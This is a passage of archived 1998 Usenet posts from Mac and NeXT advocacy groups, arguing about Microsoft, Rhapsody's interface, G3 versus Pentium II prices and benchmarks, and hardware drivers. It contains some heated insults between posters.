Integrators (like TechWorks, in the case of the Voodoo chipset) filled
the gap with board-level solutions to chipsets and other core
technologies.
MJP
From: G.C.Th.Wierda@AWT.nl (Gerben Wierda)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Why Microsoft has won
Date: Wed, 27 May 1998 07:52:32 GMT
Organization: Adviesraad voor het Wetenschaps- en Technologiebeleid
Sender: news@AWT.NL
Message-ID: <EtLv7K.3HH@AWT.NL>
References: <s9c71.38$Jb1.895312@news.rdc1.sfba.home.com> <joe.ragosta-1905981003200001@wil115.dol.net> <6jrn7c$4rf$2@ns3.vrx.net> <3561BB08.52935430@milestonerdl.com> <6jsiib$uma$1@crib.bevc.blacksburg.va.us> <3561D59A.6D04@CONVEX.COM> <3561E3EA.4680E7AE@milestonerdl.com> <35621EF1.9DEDCD98@nstar.net> <6ju8d3$7vp$1@ns3.vrx.net> <35648A33.7F5B@CONVEX.COM> <6k1hn9$pdd$1@ns3.vrx.net> <35649582.1F55@CONVEX.COM> <6k1moi$sp3$1@ns3.vrx.net> <3564A983.1DE3@CONVEX.COM> <6k3fho$be9$2@ns3.vrx.net> <3565A35B.AFDD18BC
"Todd Heberlein" <todd@NetSQ.com> wrote:
Though I agree with most of what you said. Some final remarks need some
comments, I think.
>With enough time and resources, Microsoft's products will improve
>(e.g., Office 98 for the Mac).
The improvement has been scarce and far between. Where is the functionality
that Lotus Improv offered 8 years ago (!) in Excel today (please no reactions
by people who do know Excel and don't know Improv)? And how come our
not-so-stupid systems administrator is running around all day, trying to
repair stuff like "Windows 95 suddenly removed the HD entry form the BIOS"
etc.?
> Likewise, by denying financial
>resources and marketshare to potential competitors, Microsoft can
>keep its position secure.
As one of the LPF documents once said. Free market capitalism is based on the
idea of a race where everybody wins if everybody tries to run as fast as they
can. But when the system turns into trying to stop others instead of running
fast yourselves, everybody loses.
>
>In the end, it is Microsoft's business acumen, not its fantastic
>products, that has placed it where it is today.
>
True. Read gates' "The Road Ahead" and it becomes clear. The first chapters
on the rise of Microsoft are fascinating, but it's all economics and
marketing. Nothing technical. Gates' technological visions later on are
simplistic and broken.
>-----------------------------------------------------
>[1] I use Windows NT every day (I have a tower and a laptop), and I
>occasionally use Windows 95 (I have a 300 MHz P2 with an Orchid
>Righteous II (Vodoo2) that I use for games - BattleZone is incredible
>on it!). And I have about a dozen publications done in Word over the
>years, budgets done in Excel, and probably a hundred presentations
>done with PowerPoint. Last month I also ported a fairly substantial
>code base from Solaris to NT with (not so) Visual C++.
>
>I am very familiar with Microsoft's operating systems, applications,
>and tools. And I don't think they are so bad; however, I still
>believed Microsoft obliterated competition while there were/are
>better products available.
I daily use NEXTSTEP (since 1991) on intel and on my Turbo NeXTdimension. I
have (OO) developed for NEXTSTEP, Windows 3.1 (C++), DOS and several Unixes
(C). I own and have used Windows NT for a while. I regularly use Win95.
Development-wise, no system even comes close to OPENSTEP (though Visix wasn't
bad). The Windows API is an absolute catastrophic disaster if you ask me (and
so is the X Window system). My turbo NeXTdimension still is usable, even if
the CPU is only a lowly 33MHz 68040 (but the rest of the system is very well
designed, though not all hardware bugs were removed over the short years of
its existence).
--Gerben
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody, OS X...huh?
Date: Wed, 27 May 1998 16:16:11 -0700
Message-ID: <see-below-2705981616110001@209.24.240.199>
References: <356573e8.5831486@nntp.atl.mindspring.com> <6k4fk0$8st$1@crib.bevc.blacksburg.va.us> <3566bf1b.585911@nntp.atl.mindspring.com> <rkt1-2305981407360001@cu-dialup-1005.cit.cornell.edu> <see-below-2305981551320001@209.24.241.7> <6ke87q$d5n$12@ironhorse.plsys.co.uk> <see-below-2605981954210001@209.24.240.115> <6kgtls$nc0$8@ns3.vrx.net>
In article <6kgtls$nc0$8@ns3.vrx.net>, maury@remove_this.istar.ca (Maury
Markowitz) wrote:
> In <see-below-2605981954210001@209.24.240.115> Matthew Vaughan claimed:
>
> (reply to a reply, sorry matt).
(no problem)
> > > I don't like the way the Workspace becomes the active app if you click on
> the
> > > desktop.
> >
> > Hmm. Since the desktop and the items that are on it belong to the
> > Finder/Workspace
>
> Yes, but should clicking on a "dead" portion do anything? under OS7/8 it
> does, should it still in 10?
I don't know. I'm not sure I'd want to define "live" and "dead" portions
of the desktop (ie, icons=live, or specific zones, or whatever)--that
sounds like it would be very confusing (if that's even what you were
saying). I guess it depends on whether you want it to behave like a
Finder/Workspace window, or essentially be nothing. But again, this is an
option under current MacOS (though Finder window-like behavior is on by
default), and I'm not sure what's better for most people. I understand
that this is sometimes confusing even for Mac users, since Apple did add
the ability to turn it off, but Apple still decided to leave it on by
default, and I'll assume they had good reasons for doing that (maybe just
legacy behavior).
I assume it will be easy to uncheck "Show Desktop in Background" and use a
dock (possibly third-party), which you can actually do easily under MacOS
today.
In fact, I'd be highly surprised if you couldn't give yourself an almost
100% Openstep interface if you wanted to.
> > > And with the Apple menu on the left
>
> Which of course should be on the right, not the left. What is the Apple
> menu? It's a system-wide iconic menu. Where do system-wide iconic menus go?
> On the right. This one bugs me.
Hmm. Interesting point. Originally MacOS didn't have any menus at the
right, so this wasn't an issue, and we're all so used to the Apple being
in the upper-left corner of the screen... But I do agree it would reduce
confusion to put global menus on one side and application-specific menus
at the other.
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody, OS X...huh?
Date: Wed, 27 May 1998 14:40:53 -0700
Organization: UC Irvine
Message-ID: <rmcassid-2705981440530001@dante.eng.uci.edu>
References: <356573e8.5831486@nntp.atl.mindspring.com> <6k4fk0$8st$1@crib.bevc.blacksburg.va.us> <3566bf1b.585911@nntp.atl.mindspring.com> <rkt1-2305981407360001@cu-dialup-1005.cit.cornell.edu> <see-below-2305981551320001@209.24.241.7> <6ke87q$d5n$12@ironhorse.plsys.co.uk> <356c6656.0@206.25.228.5>
In article <356c6656.0@206.25.228.5>, jkheit@xtdl.com wrote:
>I can't even imagine what other UI *enhancements* apple has in store. If
>there *progress* (I've rarely used that word so loosely) thus far is any
>indication of their direction, then idiot nostalgic modifications will
>trump every other possible meritorious alternative. What a pile of crap
>they've created by destroying a beauty. Blah.
Well, John. We've gone through this before, but right now I'm agreeing with you.
DR2, as it stands represents an improvement over neither MacOS nor
OpenStep as I can see it. The UI is fairly horrible at this stage -
marginally useful, in my opinion. The MacOS icon style is much better
suited to small icons than large, I'll admit. If they have the space and
the depth, I agree they should put it to use.
My only hope right now is that Apple plans to do with the UI what they
appear to be doing with the API: take a step back to get everyone on
board, and the move everyone forward at once.
As such, I *really* hope that Apple decides that MacOS X is not just to be
an advancement for MacOS technologically, but aesthetically as well.
Themes would be a decent way of moving developers forward halfway without
requiring a committment on their part. But the other half goes straight to
developer support, and it's just not there yet.
-Bob Cassidy
From: Cosmo Roadkill <cosmo.roadkill%bofh.int@rauug.mil.wi.us>
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From: macghod@concentric.net
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: It would be nice to own a g3 BUT....
Date: 28 May 1998 01:48:07 GMT
Message-ID: <6kifon$4ed$1@newsfep3.sprintmail.com>
References: <6kf6jk$mcf$1@newsfep2.sprintmail.com> <tsn-2705981315200001@indyu133.netusa1.net>
<6ki1sh$qcr$1@newsfep3.sprintmail.com> <joe.ragosta-2705982038040001@elk54.dol.net>
Mime-Version: 1.0
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Cc: joe.ragosta@dol.net
In <joe.ragosta-2705982038040001@elk54.dol.net> Joe Ragosta wrote:
> In article <6ki1sh$qcr$1@newsfep3.sprintmail.com>, macghod@concentric.net
wrote:
>
> > In <tsn-2705981315200001@indyu133.netusa1.net> Ike Gilbert wrote:
>
> > > The PowerPC G3 has been proven to be consistantly faster than the PII.
> >
> > Oh this is such bullshit. FOr real world performance, the g3 233 will
be
> > about as fast as a p2 300. The p2 300 will be faster in some things,
like
> > quake, and some photoshop filters, but slower in other areas, ie other
> > photoshop filters. And what about bytemark you say? Well, some
compilers
> > will say the g3 is faster, and some compilers will say the p2 is faster.
>
> You'd have to find an extremely slow compiler to make the G3 look slower
> in Byte.
Almost all developers used codewarrior. Eric bennet has the bytemark for
codewarrior, the int score is 5.56, the fp is 4.77. THis is using
codewarrior professional. This isnt even for a g3 233, its for a g3 266.
A p2 300 using a COMMERCIALLY AVAILABLE compiler (MS visual c++) gets 5.69
for int, and 4.82 for fp. Their are two commercial compilers for the mac,
symantec and codewarrior. If symantec gives higher scores, I will gladly
accept that. A beta of motorola, which motorola wont even ever ship does not
count.
That is one bytemark that shows the p2 300 to be faster than a g3 *266*!.
Given that, I think the statement that a g3 233 is comparable to a p2 300 is
quite fair
> The majority of real life apps (with Quake being the major exception) show
> the G3 to be much faster.
I doubt this.
> > > True, the G3 only comes with 32MB standard, but you can add more RAM
for
> > > pretty cheap.
> >
> > Not that cheap, $100, and you still have to put it in. If you dont want
your
> > warranty voided thats another $100 to have a apple specialized whatever
put
> > it in.
>
> Try www.thechipmerchant.com
>
> 32 MB for $43 and 64 MB for $88.
>
>
> > > So for $1700, I can get a G3 PowerMac that is up to twice as fast as a
PC
> > > that costs $1300.
> >
> > No, actually from the apple store its over $2000. And it aint twice as
fast.
>
> Depends on which one. The G3/233 is $1600 at the Apple Store.
Joe, why do you lie? YOu know darned well it is $1699. When I went to the
store and configured it with the extra vram, ram, and modem it came out to
over $2000. As a minitower it came out to over $2200
--
Running on Openstep 4.2, the best os in the world, and about to get better!
MACHEAD SEEKS qa work!!, email me for resume
NeXTMail and MIME OK!
From: macghod@concentric.net
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: rhapsody and g3 cards
Date: 28 May 1998 02:43:58 GMT
Message-ID: <6kij1e$66d$2@newsfep3.sprintmail.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
I am thinking of getting a umax c 500 and putting one of those $500 g3 210
mhz cards that can do up to 300 mhz. Does rhapsody dr2 support this?
--
Running on Openstep 4.2, the best os in the world, and about to get better!
MACHEAD SEEKS qa work!!, email me for resume
NeXTMail and MIME OK!
From: mpaque@wco.com (Mike Paquette)
Newsgroups: comp.sys.next.advocacy
Subject: Re: NXHosting is dead ?
Date: Wed, 27 May 1998 21:42:19 -0700
Organization: Electronics Service Unit No. 16
Message-ID: <1d9nm9q.kx1jmg19dyutwN@carina43.wco.com>
References: <6jhivm$22a$1@nnrp1.dejanews.com> <6jhnld$a3v$1@crib.bevc.blacksburg.va.us> <355C6969.6907242B@trilithon.com> <od871.624$Fi2.704485@news.rdc1.sdca.home.com> <1d96usd.idlupin1ddc8N@sextans133.wco.com> <t6P71.4084$Fi2.1738179@news.rdc1.sdca.home.com> <355FC790.47AFED2F@trilithon.com> <rmcassid-1805981655100001@dante.eng.uci.edu> <CFm91.2270$Kx3.2422317@news.rdc1.sdca.home.com> <rmcassid-2305980036500001@dialin9223.slip.uci.edu> <hJw91.2319$Kx3.2686214@news.rdc1.sdca.home.com> <rmcassid-2505982341260001@dialin9062.slip.uci.edu>
Robert Cassidy <rmcassid@uci.edu> wrote:
> I think we're going to have a good quarter. The numbers continue to look
> strong. If we drop to $22, I think we'll come all the way back up into the
> $30s before long. Earnings estimates are all way too low for this quarter.
> Some are simply stupid (I think there is still someone predicting a loss
> for Q3 and Q4, which is assinine). MW + earnings will be a big boost, so I
> don't see $22 in July. It'll have to come in June.
I'd agree. I think we're entering a short term correction in the
overall market, with the DJIA about to drop 5% or so, and high techs
doing the usual 20% (4x DOW) blip as folks start to freak out. If
you've got some good picks, it might be time to do a bit of shopping
soon.
Yup, I'm a bottom feeding Fool....
From: gmgraves@slip.net (George Graves)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: It would be nice to own a g3 BUT....
Date: Wed, 27 May 1998 17:48:12 -0700
Organization: Graves Associates
Message-ID: <gmgraves-2705981748120001@sf-usr1-24-152.dialup.slip.net>
References: <6kf6jk$mcf$1@newsfep2.sprintmail.com> <tsn-2705981315200001@indyu133.netusa1.net> <356c6872.0@206.25.228.5>
In article <356c6872.0@206.25.228.5>, jkheit@xtdl.com wrote:
> tsn@netusa1.net (Ike Gilbert) wrote:
> > > L2 Pipelined Burst Cache, 512k,
>
> > The G3 uses a 512k BACKSIDE cache, which I believe is faster than
> > a L2 pipelined burst cache.
>
> What's the difference?
> > There is a tower version of the G3 that sells for more, but since
> > the motherboards used in both are identical, the only gain achieved
> > would be a little more space for add-on cards, which probably
> > isn't necessary.
>
> Gawd, can anymore excuses be made for the high price of apple
> hardware? I'm sure there can. sigh.
High prices. $1600 will buy you a G3 Mac which is MUCH faster than a
400 MHz PII (currently the fastest there is) How much does a 400 MHz
PII cost? $2600-$3000? High priced Macs indeed.
George Graves
From: sanguish@digifix.com (Scott Anguish)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: screwed? was:No Mac OS X for Intel...?
Date: 28 May 1998 03:25:07 GMT
Organization: Digital Fix Development
Message-ID: <6kilej$7a6$1@news.digifix.com>
References: <6jtt5c$q8k$1@news.cmc.net> <3562EA10.3ABFE6B5@pacific.net.sg> <6kesfn$c5r$6@ns3.vrx.net> <6kfi4n$452$1@nntp2.ba.best.com> <6kg0hn$689$1@news.digifix.com> <356B9C6F.434C2D58@nstar.net> <6kgapb$a5t$1@news.digifix.com> <356C6096.497E4DBD@nstar.net> <6khtaq$ril$1@news.digifix.com> <rmcassid-2705981426480001@dante.eng.uci.edu>
In-Reply-To: <rmcassid-2705981426480001@dante.eng.uci.edu>
On 05/27/98, Robert Cassidy wrote:
>In article <6khtaq$ril$1@news.digifix.com>, sanguish@digifix.com
(Scott
>Anguish) wrote:
>
>>>> >The best (and sometimes, only) way to get the most out of
hardware
>>>> >drivers is to get them from the manufacturers. I hope Apple is
>>>> working
>>>> >to get this support.
>
>
>> I don't see it being a hard sell to Mac OS hardware
>>developers.... they'd be doing themselves major damage by not
>>supporting it.
>
>What about non-MacOS hardware developers? Right now there are *tons*
of
>PCI cards that I can't just shove in my G3 box because of a lack of
>drivers. USB will only add to that.
>
Well, most PCI cards won't "just work" anyways, even if the
software drivers where there... The'd need new ROMs to deal with the
low end correct?
USB is much simpler. There is a standard interface there to
deal with.
>There is a lot of support needed out there still.
Sure... But remove the PCI cards from the picture, and the
needs dwindle dramatically..
--
Scott Anguish <sanguish@digifix.com>
NEXTSTEP/OpenStep Information <URL:http://www.stepwise.com>
From: arman.afagh@med.nyu.eduNOSPAM (Arman Afagh)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: It would be nice to own a g3 BUT....
Date: Wed, 27 May 1998 23:30:28 -0400
Organization: NYU School of Medicine
Message-ID: <arman.afagh-2705982330280001@mcrubs1102.med.nyu.edu>
References: <6kf6jk$mcf$1@newsfep2.sprintmail.com>
After reading this post, and macghod's (and other's) subsequent replies,
am I the only one who thinks that macghod is full of shit and has no
intention of buying a new computer. Even if he is, he made no
consideration of the Mac. He's set up this post as a straw man so that he
can shoot down the Mac as being more expensive than a pc of lesser
quality. Furthermore, one of his big points seems to be that the Mac has
less RAM. Well, Apple is offering the 32 MB of RAM for free. Most of the
other differences are hardly significant. Macghod has no intention of
even considering buying an Apple-produced machine (given how much he's
expounded his bitter hatred and venemous disgust for Apple in this thread
and others), and this thread is a complete straw man.
ARman.
In article <6kf6jk$mcf$1@newsfep2.sprintmail.com>, macghod@concentric.net wrote:
>I am looking to buy a computer. It MUST run the best operating system in the
>world.
From: macghod@concentric.net
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: It would be nice to own a g3 BUT....
Date: 28 May 1998 01:52:15 GMT
Message-ID: <6kig0f$4ed$2@newsfep3.sprintmail.com>
References: <6kf6jk$mcf$1@newsfep2.sprintmail.com> <tsn-2705981315200001@indyu133.netusa1.net>
<356c6872.0@206.25.228.5> <gmgraves-2705981748120001@sf-usr1-24-152.dialup.slip.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Cc: gmgraves@slip.net
> > Gawd, can anymore excuses be made for the high price of apple
> > hardware? I'm sure there can. sigh.
>
> High prices. $1600 will buy you a G3 Mac which is MUCH faster than a
> 400 MHz PII (currently the fastest there is) How much does a 400 MHz
> PII cost? $2600-$3000? High priced Macs indeed.
Oh please George, give me a break. Using commercially available compilerers,
a g3 266 using codewarrior pro 1 is SLOWER!!! than a p2 300. See eric
bennets web page. And I am not even claiming a p2 300 is faster than a g3
266, I am merely claiming that the p2 300 is about the same as a g3 233.
Almost all developers used codewarrior. Eric bennet has the bytemark for
codewarrior, the int score is 5.56, the fp is 4.77. THis is using
codewarrior professional. This isnt even for a g3 233, its for a g3 266.
A p2 300 using a COMMERCIALLY AVAILABLE compiler (MS visual c++) gets 5.69
for int, and 4.82 for fp. Their are two commercial compilers for the mac,
symantec and codewarrior. If symantec gives higher scores, I will gladly
accept that. A beta of motorola, which motorola wont even ever ship does not
count.
That is one bytemark that shows the p2 300 to be faster than a g3 *266*!.
Given that, I think the statement that a g3 233 is comparable to a p2 300 is
quite fair
--
Running on Openstep 4.2, the best os in the world, and about to get better!
MACHEAD SEEKS qa work!!, email me for resume
NeXTMail and MIME OK!
From: jason@jhste1.dyn.ml.org (Jason S.)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: It would be nice to own a g3 BUT....
Date: 28 May 1998 02:01:30 GMT
Organization: I don't think so
Message-ID: <slrn6mphj2.1un.jason@jhste1.dyn.ml.org>
References: <6kf6jk$mcf$1@newsfep2.sprintmail.com> <tsn-2705981315200001@indyu133.netusa1.net> <6ki1sh$qcr$1@newsfep3.sprintmail.com> <joe.ragosta-2705982038040001@elk54.dol.net> <6kifon$4ed$1@newsfep3.sprintmail.com>
macghod@concentric.net posted the following to comp.sys.mac.advocacy:
>Almost all developers used codewarrior. Eric bennet has the bytemark for
>codewarrior, the int score is 5.56, the fp is 4.77. THis is using
>codewarrior professional. This isnt even for a g3 233, its for a g3 266.
>A p2 300 using a COMMERCIALLY AVAILABLE compiler (MS visual c++) gets 5.69
>for int, and 4.82 for fp. Their are two commercial compilers for the mac,
>symantec and codewarrior. If symantec gives higher scores, I will gladly
>accept that. A beta of motorola, which motorola wont even ever ship does not
>count.
>That is one bytemark that shows the p2 300 to be faster than a g3 *266*!.
>Given that, I think the statement that a g3 233 is comparable to a p2 300 is
>quite fair
However, even with egcs-1.0 (a FREE compiler) the G3/266 does much better
than with Metrowerks. And Apple's MrC is a FREE download.
--
In my opinion MS is a lot better at making money than it is at making
good operating systems.
-- Linus Torvalds (http://www.twics.com/~tlug/linus.html)
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: It would be nice to own a g3 BUT....
Date: 27 May 1998 20:12:00 -0700
Organization: Primenet (602)416-7000
Message-ID: <6kikm0$5vs@nntp02.primenet.com>
References: <6kf6jk$mcf$1@newsfep2.sprintmail.com> <tsn-2705981315200001@indyu133.netusa1.net> <356c6872.0@206.25.228.5> <gmgraves-2705981748120001@sf-usr1-24-152.dialup.slip.net>
George Graves <gmgraves@slip.net> wrote:
: High prices. $1600 will buy you a G3 Mac which is MUCH faster than a
: 400 MHz PII (currently the fastest there is) How much does a 400 MHz
: PII cost? $2600-$3000? High priced Macs indeed.
PII 400Mhz
100 MHz System Bus
AGP Graphics card with 8MB SDRAM and 3D acceleration
64MB RAM
6.4 GB HD,
DVD w/ MPEG II decoder
etc.
$1900
www.boldata.com
John
From: "Christopher Smith" <drsmithy@usa.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: It would be nice to own a g3 BUT....
Date: Thu, 28 May 1998 14:57:25 +1000
Organization: University of Queensland
Message-ID: <6kiqjf$q38$1@nargun.cc.uq.edu.au>
References: <6kf6jk$mcf$1@newsfep2.sprintmail.com> <tsn-2705981315200001@indyu133.netusa1.net> <356c6872.0@206.25.228.5> <gmgraves-2705981748120001@sf-usr1-24-152.dialup.slip.net>
George Graves wrote in message ...
>In article <356c6872.0@206.25.228.5>, jkheit@xtdl.com wrote:
>
>> tsn@netusa1.net (Ike Gilbert) wrote:
>> > > L2 Pipelined Burst Cache, 512k,
>>
>> > The G3 uses a 512k BACKSIDE cache, which I believe is faster than
>> > a L2 pipelined burst cache.
>>
>> What's the difference?
>> > There is a tower version of the G3 that sells for more, but since
>> > the motherboards used in both are identical, the only gain achieved
>> > would be a little more space for add-on cards, which probably
>> > isn't necessary.
>>
>> Gawd, can anymore excuses be made for the high price of apple
>> hardware? I'm sure there can. sigh.
>
>High prices. $1600 will buy you a G3 Mac which is MUCH faster than a
>400 MHz PII (currently the fastest there is) How much does a 400 MHz
>PII cost? $2600-$3000? High priced Macs indeed.
So where can I buy a 300Mhz G3 for $1600 ?
>
>George Graves
From: markeaton@mindspring.canned-meat-filter.com (Mark Eaton)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Wait 'til NeXT Year
Date: Wed, 27 May 1998 19:48:09 -0700
Organization: MindSpring Enterprises
Message-ID: <markeaton-2705981948090001@209.86.154.38>
References: <6kg27c$3dd$1@ndnws01.ne.highway1.com>
In article <6kg27c$3dd$1@ndnws01.ne.highway1.com>, sschuldt@mediaone.net wrote:
> Did anyone else feel a little sorry for Avie up there at WWDC, reduced to
> pandering to lumpen rows of Mac Toolbox monobrows? It was like watching
> Leonardo da Vinci detailing how he was going to paint someone's mobile home
> for them with a roller. I wanted to throw a blanket over him and hustle him
> out of the building; or kick Steve Jobs in the nuts for making his friend do
> this.
DaVinci never had to pay the bills (he had wealthy patrons like the
Medicis and the Pope).
-mark
From: Cosmo Roadkill <cosmo.roadkill%bofh.int@rauug.mil.wi.us>
Newsgroups: comp.sys.next.advocacy
Subject: cmsg cancel <6ki02f$c9k$3370@dalen.get2net.dk>
Control: cancel <6ki02f$c9k$3370@dalen.get2net.dk>
Date: 28 May 1998 01:59:59 GMT
Organization: BOFH Space Command, Usenet Division
Message-ID: <cancel.6ki02f$c9k$3370@dalen.get2net.dk>
Sender: KOYLA<koyla21@get2net.dk>
Article cancelled as EMP/ECP, exceeding a BI of 20.
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Please include the X-CosmoTraq header of this message in any correspondence
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Sick-O-Spam, Spam-B-Gon!
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: It would be nice to own a g3 BUT....
References: <6kf6jk$mcf$1@newsfep2.sprintmail.com> <arman.afagh-2705982330280001@mcrubs1102.med.nyu.edu>
From: John Kheit <jkheit@xtdl.com>
Organization: monoChrome, Inc., NJ, USA
Message-ID: <356ce269.0@206.25.228.5>
Date: 28 May 98 04:04:57 GMT
arman.afagh@med.nyu.eduNOSPAM (Arman Afagh) wrote:
> After reading this post, and macghod's (and other's) subsequent
> replies, am I the only one who thinks that macghod is full of
> shit and has no intention of buying a new computer. Even if he
> is, he made no consideration of the Mac. He's set up this post
> as a straw man so that he can shoot down the Mac as being more
> expensive than a pc of lesser quality. Furthermore, one of his
> big points seems to be that the Mac has less RAM. Well, Apple
> is offering the 32 MB of RAM for free. Most of the other
> differences are hardly significant. Macghod has no intention of
> even considering buying an Apple-produced machine (given how much
> he's expounded his bitter hatred and venemous disgust for Apple
> in this thread and others), and this thread is a complete straw
> man.
Well, I sure as heck don't know what his or other's intentions are,
but I do know one thing. The mac still costs a bunch more on a
price/performance basis than other intel offerings. And I still
see that there will always be mac apologists that will stretch
and make any kind of willfully blind excuses to explain why what
is a blatant reality only *seems* that way to dumb people who
haven't seen the light. As long as we have enough koolaid drinkers,
I imagine the manufacturer will keep selling at the current inflated
price structure. Your Koolaid Dosage May Vary.
--
Thanks, be well, take care, later, John Kheit; self expressed...
__________________________________________________________________
monoChrome, Inc. ASCII, MIME, PGP, SUN, & NeXTmail OK
NeXT/OPENSTEP Developer mailto:jkheit@xtdl.com
Telepathy, It's coming... http://www.xtdl.com/~jkheit
Franklin Pierce Law Center You're dangerous because you're honest
From: Jim Mueller <webnik@globaldialog.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: It would be nice to own a g3 BUT....
Date: Wed, 27 May 1998 22:55:36 -0500
Organization: http://www.globaldialog.com/~webnik/
Message-ID: <356CE038.5F17@globaldialog.com>
References: <6kf6jk$mcf$1@newsfep2.sprintmail.com> <tsn-2705981315200001@indyu133.netusa1.net> <356c6872.0@206.25.228.5> <gmgraves-2705981748120001@sf-usr1-24-152.dialup.slip.net> <6kikm0$5vs@nntp02.primenet.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
John Jensen wrote:
>
> George Graves <gmgraves@slip.net> wrote:
> : High prices. $1600 will buy you a G3 Mac which is MUCH faster than a
> : 400 MHz PII (currently the fastest there is) How much does a 400 MHz
> : PII cost? $2600-$3000? High priced Macs indeed.
>
Here's an NEC system with a NEC 17" Monitor for $2295
400MHz Intel Pentium® II processor.
512KB L2 Pipeline Burst Cache.
64MB (2-32MB) SDRAM.
4.3GB Ultra ATA Hard Drive.
32X Maximum Variable-Speed CD-ROM Drive.
3.5" Diskette Drive.
U.S. Robotics® x2™ 56Kbps Winmodem™ (see
Legal Notice below for Important
Qualifications).
Diamond Viper® AGP, 4MB SGRAM Graphics
Card.
Integrated PCI Wavetable Audio.
Altec Lansing® ACS-90 Speakers.
2 Universal Serial Bus (USB) Ports.
NEC Palmrest Keyboard.
Microphone.
Microsoft® IntelliMouse®.
Microsoft® Windows® 95.
Microsoft® Home Essentials™ 98 (includes:
Word 97, Works 4.5, Encarta® 98, Greetings
Workshop 2.0, Internet Explorer, The
Entertainment Pack -- Puzzle Collection,
bundled
with Windows® 95 only).
NEC C700™ 17" Color Monitor (16" viewable
image size, .27dp).
Three-Year Limited Warranty.
1-Year On-site Service.
From: macghod@concentric.net
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: It would be nice to own a g3 BUT....
Date: 28 May 1998 04:17:15 GMT
Message-ID: <6kiogb$9dn$1@newsfep1.sprintmail.com>
References: <6kf6jk$mcf$1@newsfep2.sprintmail.com> <arman.afagh-2705982330280001@mcrubs1102.med.nyu.edu>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Cc: arman.afagh@med.nyu.eduNOSPAM
In <arman.afagh-2705982330280001@mcrubs1102.med.nyu.edu> Arman Afagh wrote:
> After reading this post, and macghod's (and other's) subsequent replies,
> am I the only one who thinks that macghod is full of shit and has no
> intention of buying a new computer.
And what evidence do you have? You may not agree with my posts, but at least
I
cite examples and offer proof.
>Even if he is, he made no
> consideration of the Mac. He's set up this post as a straw man so that he
> can shoot down the Mac as being more expensive than a pc of lesser
> quality.
Really? You say its of lesser quality but dont even give proof. All your
post is is a flame
with no content.
>Furthermore, one of his big points seems to be that the Mac has
> less RAM. Well, Apple is offering the 32 MB of RAM for free.
Hmmm, does this apply to non apple authorized dealers? Because only non
authorized apple dealers offer the g3 233 for $1499
Most of the
> other differences are hardly significant.
What a crock of shit. I did not expand on that what I thought was hardly
significant. For instance, I did not say "see, the pc has a 32 speed cd and
apple only has a 24 x". WHy? Because I could care less if it has a 24x or
32 x. 64 megs of ram instead of 32 IS very important to me. 4 megs of vram
instead of 2 megs IS important to me. A 56 k modem IS important to me.
>Macghod has no intention of
> even considering buying an Apple-produced machine (given how much he's
> expounded his bitter hatred and venemous disgust for Apple in this thread
> and others)
Oh please, I have nothing against Apple. I even credit them with having the
best os in the world, aka openstep / rhapsody. THe fact that apple charges
twice as much for a g3 233 as for a p2 300 that is about comparable speed
wise, HARDLY causes "bitter hatred and venemous disgust"
> and this thread is a complete straw man.
Oh please, do you even know what a straw man is? Because it sure doesnt look
like you do from your trying to apply it to this case.
--
Running on Openstep 4.2, the best os in the world, and about to get better!
MACHEAD SEEKS qa work!!, email me for resume
NeXTMail and MIME OK!
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: screwed? was:No Mac OS X for Intel...?
Date: Wed, 27 May 1998 23:24:22 -0800
Organization: UC Irvine
Message-ID: <rmcassid-2705982324230001@dialin33411.slip.uci.edu>
References: <6jtt5c$q8k$1@news.cmc.net> <3562EA10.3ABFE6B5@pacific.net.sg> <6kesfn$c5r$6@ns3.vrx.net> <6kfi4n$452$1@nntp2.ba.best.com> <6kg0hn$689$1@news.digifix.com> <356B9C6F.434C2D58@nstar.net> <6kgapb$a5t$1@news.digifix.com> <356C6096.497E4DBD@nstar.net> <6khtaq$ril$1@news.digifix.com> <rmcassid-2705981426480001@dante.eng.uci.edu> <6kilej$7a6$1@news.digifix.com>
In article <6kilej$7a6$1@news.digifix.com>, sanguish@digifix.com (Scott
Anguish) wrote:
> On 05/27/98, Robert Cassidy wrote:
> >What about non-MacOS hardware developers? Right now there are *tons*
> of
> >PCI cards that I can't just shove in my G3 box because of a lack of
> >drivers. USB will only add to that.
>
> Well, most PCI cards won't "just work" anyways, even if the
> software drivers where there... The'd need new ROMs to deal with the
> low end correct?
That's true. So why aren't new cards coming out with proper ROMs? And why
are some cards coming out with proper ROMs and still no drivers
(NumberNine comes to mind). NumberNine *used* to have drivers for the Mac,
and now no longer does. Not good.
> USB is much simpler. There is a standard interface there to
> deal with.
True. But will non-Mac developers support it. I mean, there are a lot of
odd uses for USB that there won't be standard drivers to support. It only
takes one of these to be missing to deep-six a purchase. It happens a lot,
unfortunately.
-Bob Cassidy
From: sanguish@digifix.com (Scott Anguish)
